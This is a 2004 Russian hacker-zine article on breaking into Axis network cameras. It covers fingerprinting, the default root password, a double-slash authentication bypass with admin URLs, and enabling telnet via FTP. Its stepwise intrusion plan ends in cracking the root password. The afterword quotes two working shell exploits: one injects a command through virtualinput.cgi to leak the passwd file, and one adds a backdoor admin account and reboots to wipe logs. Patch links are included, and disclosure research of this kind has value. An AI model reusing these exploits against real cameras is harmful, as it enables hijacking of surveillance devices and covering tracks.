Исследование сетевых камер семейства AXIS. Написана : InuYasha / Sep 2004 Приветы группе The Clash, Chris Gragsone В статье приводится исследование безопасноти сетевых видеокамер фирмы Axis, перечень уязвимостей, методы их использования и устранения. Статья будет полезна как для исследователей так и для администраторов данных устройств. Содержание 0х00. Введение 0х01. Идентификация устройства как Axis Network Camera 0х02. Обзор уязвимостей, их использование и устранение 0х03. Пароль по-умолчанию 0х04. Директории и файлы свободного доступа 0х05. Обход аутентификации 0х06. Переполнение стека - атака на отказ 0х07. Запуск telnet-сервиса на веб-камере 0х08. Алгоритм взлома 0х09. Переустановка ПО камеры - шаг за шагом 0x00. Введение. Вебкамеры фирмы Axis Communications это устройства, созданные для захвата и трансляции видеоизображения по IP-сетям, это полнофункциональные компьютеры под управлением Linux, построенные восновном на 100MhZ RISC-процессоре, с сетевым интерфейсом, через который они могут быть подключены к IP-сети (например Internet) через LAN, модемное подключение, или радио-сеть (802.11b). На вебкамере по-умолчанию исполняются http и ftp серверы, есть удобный веб -интерфейс управления камерой, можно настроить telnet для более полного контроля. Вебкамерами этой фирмы часто пользуются учебные или муниципальные заведения восновном для обозрения месности и трансляции панорам ихних красот любому желающему в Интернет. Камеры более поздних моделей применяются в охранных системах, поскольку они имеют интерфейсс аналоговыми сетями передачи видео ССTV, скорость которых позволяет транслировать видео в реальном режиме. Более подробную информацию о типах видео оборудования этой фирмы вы можете найти на сайте http://www.axis.com, а мы же приступим к изучению безопасности. 0х01. Идентификация устройства как Axis Network Camera При стандартной конфигурации у веб-камеры открыто два порта - 21 и 80. На 80 порту открыт http-сервер. Если зайти браузером на этот порт, то в открывшейся странице мы в поле TITLE должны увидеть "Axis xxx Network Camera y.yy", где xxx - модель, например 2100, а y.yy - версия программного обеспечения, например 2.32. На запрос "HEAD" (GET HEAD / HTTP/1.0) получаем : HTTP/1.0 200 OK Date: Thu, 13 Apr 2004 12:21:19 GMT Server: Boa/0.92o Content-Length: 318 Content-Type: text/html Last-Modified: Thu, 13 Apr 2004 xx:xx:xx GMT Client-Date: Thu, 13 Apr 2004 xx:xx:xx GMT Client-Response-Num: 1 Версия "Server" может быть другой, но сам сервер неизменно Boa. На 21 порту открыт ftp-сервер. При соединении показывает примерно следующее : yasha# ftp xxx.xxx.xxx.xxx Connected to xxx.xxx.xxx.xxx 220 Axis 2120 Network Camera 2.12 Apr 04 2002 ready. User (xxx.xxx.xxx.xxx:(none)): test 331 User name okay, need password. Password: test 230 User logged in, proceed. ^C Хинт : можно написать небольшой сканер устройств данного типа. Принцип : Cканируем эти хосты на 21 и 80 порты, и если таковы открыты, то, соединившись на них, забираем баннер и просматриваем его на наличие определённых ключевых строк. Для http-баннера это может быть "Server: Boa", а для ftp "Axis". Вот и всё. Программа очень легко реализуема, но писать её никто не стал. Зачем? Кому надо найти, - тот и так найдёт ;) 0х02. Обзор уязвимостей, их использование и устранение. 0х03. Пароль по-умолчанию Описание : Вход в систему для пользователя root имеет заводской пароль "pass", часто администраторы забывают его менять. Использование : Пароль используется при доступе к веб-интерфейсу администрирования камеры, а также на ftp по-умолчанию разрешен вход пользователю root. Фикс : Не забывайте менять заводские пароли! 0х04. Директории и файлы свободного доступа Описание : На сервере существуют директории и файлы, которые не защищены паролем. Использование : Вы можете просматривать следующие файлы и директории : /java/ - тут содержится java-код используемый сервером /java/users.shtml - это, например, алгоритм для зашифровки пароля /jpg/ /pics/ /support/ /support/messages - файл /var/log/messages /demo/edu640x480jav.shtml - ;) Фикс : из вышеприведённого единственную опасность представляет только открытый для общего доступа лог-файл. Эта проблема решается конфигурированием http-сервера : в файл /etc/httpd/conf/boa.conf добавить следующие строки : AuthPath /usr/html/support/ axadmin AuthPath /support/ axadmin 0х05. Обход аутентификации Описание : В реализации программного обеспечения допущена ошибка, с помощью которой можно получить доступ к ресурсам требующим аутентификации. В запросе после адреса ставим два "/" и получаем доступ. Использование : http://x.x.x.x//admin/admin.shtml - вход в интерфейс администрирования без пароля. http://x.x.x.x//admin/img_general.shtml - настройка изображения http://x.x.x.x//admin/netw_tcp.shtml - настройки сетевых параметров http://x.x.x.x//admin/sys_date.shtml - настройка даты и времени http://x.x.x.x//admin/com_port.shtml - настройка внешних устройств http://x.x.x.x//demo/ http://x.x.x.x//admin/sec_users.shtml - мы получаем доступ к странице администрирования пользовательских аккаунтов. Но внести какие-либо данные просто так у вас не получится. Далее приводится эксплойт, который создаёт на сервере пользвателя "user" с правами ADV (Administrator, Dial-up, View) и без пароля. После применения эксплойта заходите под новосозданным аккаунтом, а дальше уж дело вкуса. Axis Network Camera Exploit by InuYasha
Фикс : Обновить программное обеспечение AXIS 2100 Network Camera: 2.40 ftp://ftp.axis.com/pub_soft/cam_srv/cam_2100/2_40/ AXIS 2110 Network Camera: 2.40 ftp://ftp.axis.com/pub_soft/cam_srv/cam_2110/2_40/ AXIS 2120 Network Camera: 2.40 ftp://ftp.axis.com/pub_soft/cam_srv/cam_2120/2_40/ AXIS 2130 Network Camera: 2.40 ftp://ftp.axis.com/pub_soft/cam_srv/cam_2130/2_40/ AXIS 2400 Video Server: 2.40 ftp://ftp.axis.com/pub_soft/cam_srv/cam_2400/2_40/ AXIS 2401 Video Server: 2.40 ftp://ftp.axis.com/pub_soft/cam_srv/cam_2401/2_40/ AXIS 2411 Video Server: 3.12 ftp://ftp.axis.com/pub_soft/cam_srv/cam_2411/3_12/ AXIS 2420 Network Camera: 2.40 ftp://ftp.axis.com/pub_soft/cam_srv/cam_2420/2_40/ AXIS 2460 Network DVR: 3.11 ftp://ftp.axis.com/pub_soft/cam_srv/cam_2460/3_11/ AXIS 250S Video Server: 3.10 ftp://ftp.axis.com/pub_soft/cam_srv/cam_250s/3_10/ 0х06. Переполнение стека - атака на отказ Описание : из-за того, что скрипт command.cgi не правильно проверяет входящие данные, мы можем использовать переполнение стека, что позволит создавать и перезаписывать файлы на сервере (и не только ;) ), если перезаписать системные файлы то получим отказ в обслуживании. Фикс : Скачать и установить новое программное обеспечение с исправлениями. Axis 2100 Network Camera (2.33.1) - ftp://ftp.axis.com/pub_soft/cam_srv/cam_2100/sr/ Axis 2110 Network Camera (2.33.1) - ftp://ftp.axis.com/pub_soft/cam_srv/cam_2110/sr/ Axis 2120 Network Camera (2.33.1) - ftp://ftp.axis.com/pub_soft/cam_srv/cam_2120/sr/ Axis 2420 Network Camera (2.33.1) - ftp://ftp.axis.com/pub_soft/cam_srv/cam_2420/sr/ Axis 2130 PTZ Network Camera (2.32.1) - ftp://ftp.axis.com/pub_soft/cam_srv/cam_2130/sr/ Axis 2400 Video Server (2.33.1) - ftp://ftp.axis.com/pub_soft/cam_srv/cam_2400/sr/ Axis 2401 Video Server (2.33.1) - ftp://ftp.axis.com/pub_soft/cam_srv/cam_2401/sr/ Axis 250S MPEG-2 Video Server (3.02 RC1) - ftp://ftp.axis.com/pub_soft/cam_srv/cam_250s/latest/ Axis 2460 Network Digital Video Recorder (3.01) - ftp://ftp.axis.com/pub_soft/cam_srv/cam_2460/latest/ Axis 2490 Serial Server (2.11.1) - ftp://ftp.axis.com/pub_soft/cam_srv/cam_2490/sr/ 0х07. Запуск telnet-сервиса на веб-камере По-умолчанию телнет-сервис отключен, и что бы получить доступ к командной строке нам нужно запустить телнет-сервис на удалённой машине. Для этого запустите ftp-клиент и проделайте следующее : yasha# ftp x.x.x.x Connected to x.x.x.x 220 Axis 2100 Network Camera 2.12 Apr 13 2004 ready. User (x.x.x.x:(none)): ВАШ ЛОГИН 331 User name okay, need password. Password: ПАРОЛЬ 230 User logged in, proceed. ftp> ascii ftp> cd /etc ftp> get inittab 200 Command okay. 150 Opening data connection. 226 Transfer complete. ftp: 1380 bytes received in 0,01Seconds 148,00Kbytes/sec. Теперь откройте для редактирования скачанный файл inittab и найдите в нём следующие строки : #telnetd:3:respawn:/bin/telnetd Удалите ”#”, строка долдна иметь такой вид : telnetd:3:respawn:/bin/telnetd Сохраните файл теперь вернёмся к нашей ftp-сессии и возвратим исправленный файл на место : ftp> put inittab 200 Command okay. 150 Opening data connection. 226 Transfer complete. ftp: 1379 bytes sent in 0,01Seconds 2424002,00Kbytes/sec. 250 Command successful. ftp> bye 221 Goodbye. Перезагрузите камеру и после этого вы получите к веб-камере доступ по telnet. 0х08. Алгоритм взлома Под взломом мы подразумеваем проникновение в систему и получение пароля root. 1. Идентифицируем сетевое устройство как Axis Network Camera, смотрим в баннерах модель камеры и версию ПО, что бы узнать уязвимости. 2. Пробуем использовать уязвимости, создаём новый аккаунт 3. По ftp скачиваем /etc/passwd 4. Расшифровываем пароль root'a 5. Запускаем telnet-сервис на взломанной машине 6. ;) 0х09. Переустановка ПО камеры - шаг за шагом 1. Скачайте с сервера образ нового ПО для вашей камеры, он будет иметь расширение ".bin" 2. Удостоверьтесь, что любая трансляция видео или картинок остановлена. 3. Сохраните ваши файлы настроек (если они вам конечно нужны) директория "/etc" 4. Соединитесь с ftp-сервисом камеры под аккаунтом root 5. Установите тип передачи данных в бинарный командой "bin" 6. Введите команду "hash" что бы видеть процесс обновления 7. Загрузите в камеру новое ПО командой "put xxx.bin flash_all", где xxx.bin - это образ нового ПО. 8. После окончания загрузки камера автоматически перезагрузится и будет работать с новым ПО. Редакционное послесловие: Первые (насколько нам известно) сведения по открытому в статье вопросу появились в Full-Disclosure в августе 2004, за авторством bashis. На русском языке информация не публиковалась. Так же имеются все основания утверждать, что статья не является рипом поста в Full-Disclosure. Выдержки из упомянутого поста: /* Public disclosure due lack of responce from Axis Communications */ ----[ axis-passwd.sh ]---- #!/bin/sh # Get /etc/passwd from: # Axis 2100/2110/2120/2420 Network Camera 2.34/2.40 # AXIS 2130 PTZ Network Camera # AXIS 2400/2401 Video Server # (There may be more devices vulnerable) # Problem: # PARAMETER=`echo $QUERY_STRING | sed 's/\(^.*\)=.*$/\1/'` # in 'virtualinput.cgi' # Bug found and code by bashis 2004-08 # Greets: #hack.se @EFnet # FAQ: # Q: Where is the cam's? # A: Google is your friend. if [ ${#*} -ne 2 ] then printf "\nUsage: %s \n\n" $0 exit 1 fi printf "+++ Sending request to %s:%d\n+++ Received:\n" $1 $2 printf "GET /axis-cgi/io/virtualinput.cgi?\x60cat/mnt/flash/etc/httpd/html/pa sswd\x60 HTTP/1.1\n\n" | nc $1 $2 printf "+++ Yeah, right.. for you maybe, but not for me ;->\n\n+++ Get the passwd file now\n+ ++ Received:\n" printf "GET /local/passwd HTTP/1.0\n\n" | nc $1 $2 printf "\n+++ Thats it.. Thanks for using Axis Airlines!\n" ----[ axis-wh00t.sh ]---- #!/bin/sh # Add admin account with l/p: wh00t/wh00t # Axis 2100/2110/2120/2420 Network Camera 2.12-2.40 # AXIS 2130 PTZ Network Camera # AXIS 2400/2401 Video Server # (There may be more devices vulnerable) # Problem: # POST action follows "/../" # Bug found and code by bashis 2004-08 # Greets: #hack.se @EFnet # 2.12 seems to very buggy version, it add wh00t account, # but editcgi.cgi seems not to work.. # Yes, you can use 'editcgi.cgi' to edit /etc/passwd # and change/add what you want, or browse around in filesystem. # FAQ: # Q: Where is the cam's? # A: Google is your friend. if [ ${#*} -ne 2 ] then printf "\nUsage: %s \n\n" $0 exit 1 fi printf "+++ Sending request to %s:%d\n" $1 $2 printf "+++ If all went well, you should see the password file soon...\n+++ Received:\n\n" printf "POST /cgi-bin/scripts/../../this_server/ServerManager.srv HTTP/1.0\nContent-Length: 250\ nPragma: no-cache\n\nconf_Security_List=root%%3AADVO%%3A%%3Awh00t%%3AAD%%3A119104048048116%%3A&us ers=wh00t&username=wh00t&password1=wh00t&password2=wh0 0t&checkAdmin=on&checkDial=on&checkView=on&servermanager_return_page=%%2Fadmin%%2Fsec _users.shtml&servermanager_do=set_variables\n" | nc $1 $2 > /dev/null # Note.......^^^^^^^^^^^^^^^^^^^^^^ printf "GET /admin-bin/editcgi.cgi?file=/etc/passwd HTTP/1.0\nHost: 127.0.0.1\nAuthorization: B asic d2gwMHQ6d2gwMHQ=\n\n" | nc $1 $2 # it's good to clear logfile, so let us reboot the device now printf "GET /cgi-bin/admin/restart.cgi HTTP/1.0\nAuthorization: Basic d2gwMHQ6d2gwMHQ=\n\n" | nc $1 $2 > /dev/null printf "\n\n+++ You can edit file(s) and browse around filesystem with:\nhttp://$1/admin-bin/edi tcgi.cgi?file=\n" printf "+++ Login with wh00t/wh00t (yes, you can edit /etc/passwd)\n" printf "\n+++ Thats it.. Thanks for using Axis Airlines!\n"